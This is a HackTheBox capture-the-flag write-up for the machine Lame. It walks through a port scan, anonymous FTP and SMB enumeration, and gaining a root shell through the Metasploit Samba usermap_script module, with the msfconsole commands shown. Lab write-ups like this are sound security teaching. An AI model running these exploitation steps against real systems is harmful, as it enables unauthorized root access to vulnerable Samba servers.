---
description: Lame writeup by Thamizhiniyan C S
---

# Lame

## Overview

Hello everyone, In this writeup we are going to solve Lame from HackTheBox.

Link for the machine : [https://app.hackthebox.com/machines/1](https://app.hackthebox.com/machines/1)

Lets Start 🙌

Connect to the HTB server by using the OpenVpn configuration file that’s generated by HTB.

\[ [Click Here](https://help.hackthebox.com/en/articles/5185687-introduction-to-lab-access) to learn more about how to connect to vpn and access the boxes. ]

After connecting to the vpn service, click on Join Machine to access the machine’s ip.

After joining the machine you can see the IP Address of the target machine.

***

## Reconnaissance

### Rustscan

First start the reconnaissance by running `rustscan` on the target IP address.

Command: `rustscan -a 10.10.10.3 -- -A -Pn`

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2Fimtb77XY4pLDTtxuY6AX%2FUntitled.png?alt=media&#x26;token=188e0ccc-2122-45bb-ba4f-513c5f30c5d4" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FBYSauoQEITD5WPzUH8Bz%2FUntitled%201.png?alt=media&#x26;token=b7453240-7543-40e1-acf4-6ca05641e0e3" alt=""><figcaption></figcaption></figure>

### Results

From the results, we got the following ports and services running:

| Port | Service     | Version              |
| ---- | ----------- | -------------------- |
| 21   | FTP         | vsftpd 2.3.4         |
| 22   | SSH         | OpenSSH 4.7p1        |
| 139  | netbios-ssn | Samba smbd 3.X - 4.X |
| 445  | netbios-ssn | Samba smbd 3.X - 4.X |
| 3632 | distccd     | distccd v1           |

***

## Enumerating FTP

First, I started enumerating the FTP service running on Port `21`.

From the scan results, we can see that the Anonymous login is allowed for FTP.

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FlqbbmDTXSC0tsts6FPKo%2FUntitled%202.png?alt=media&#x26;token=624531fb-28fc-454d-b300-7f7b829794bc" alt=""><figcaption></figcaption></figure>

So I tried to login as `Anonymous`

Command: `ftp 10.10.10.3`

username: `Anonymous`

Password: `Anonymous`

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FNlJEw0XT42RzNcrGg2Rg%2FUntitled%203.png?alt=media&#x26;token=8980da68-4063-4cc5-b7e4-17a2a9ca2342" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FlviBNAC3GlcEvTmetswV%2FUntitled%204.png?alt=media&#x26;token=87c79310-2d6f-458c-a5d8-430dce4fb084" alt=""><figcaption></figcaption></figure>

Found nothing in the FTP anonymous Login.

***

## Enumerating SMB

Next I started to enumerate SMB service running on port 139. I used `enum4linux` tool to enumerate.

Command: `enum4linux -a 10.10.10.3`

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FddZ1RZNsktOALWYXsDfQ%2FUntitled%205.png?alt=media&#x26;token=46f449ac-1a8a-4ad2-9aa2-b2f16c07f544" alt=""><figcaption></figcaption></figure>

From the response of `enum4linux`, I didn’t found any interesting shares.

***

## Initial Access

Next, I searched for exploits for the samba version: `Samba smbd 3.X - 4.X` and found the this version is vulnerable to command execution.

{% embed url="https://www.rapid7.com/db/modules/exploit/multi/samba/usermap_script/" %}

To use the above exploit, execute the commands in `msfconsole` as follows:

`use exploit/multi/samba/usermap_script`

`set RHOSTS 10.10.10.3`

`set LHOST tun0` ( Here tun0 is your hackthebox vpn tunnel IP )

`run`

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2Fk6g5ffZFKrdTM4XGRTyc%2FUntitled%206.png?alt=media&#x26;token=0ac6ce89-6eb4-4e42-a69b-c291af6f9c7d" alt=""><figcaption></figcaption></figure>

***

## Getting the User Flag

Now we have got access to the target machine as `root`. I searched for the user flag using the following command:

command: `find / -name user.txt`

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FUNrgZDIjFNHXrT6fErc0%2FUntitled%207.png?alt=media&#x26;token=5149bc71-b360-4784-8502-2ae9cce05252" alt=""><figcaption></figcaption></figure>

And we have found the user flag.

***

## Getting the Root Flag

Now I searched for the root flag using the same method and found the root flag:

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2F13QPyASMrNJR6MD43rYk%2FUntitled%208.png?alt=media&#x26;token=09cca0d1-422e-4c79-b2f4-b68584b3d37c" alt=""><figcaption></figcaption></figure>

We have successfully found all the flags.

Thank You !!!
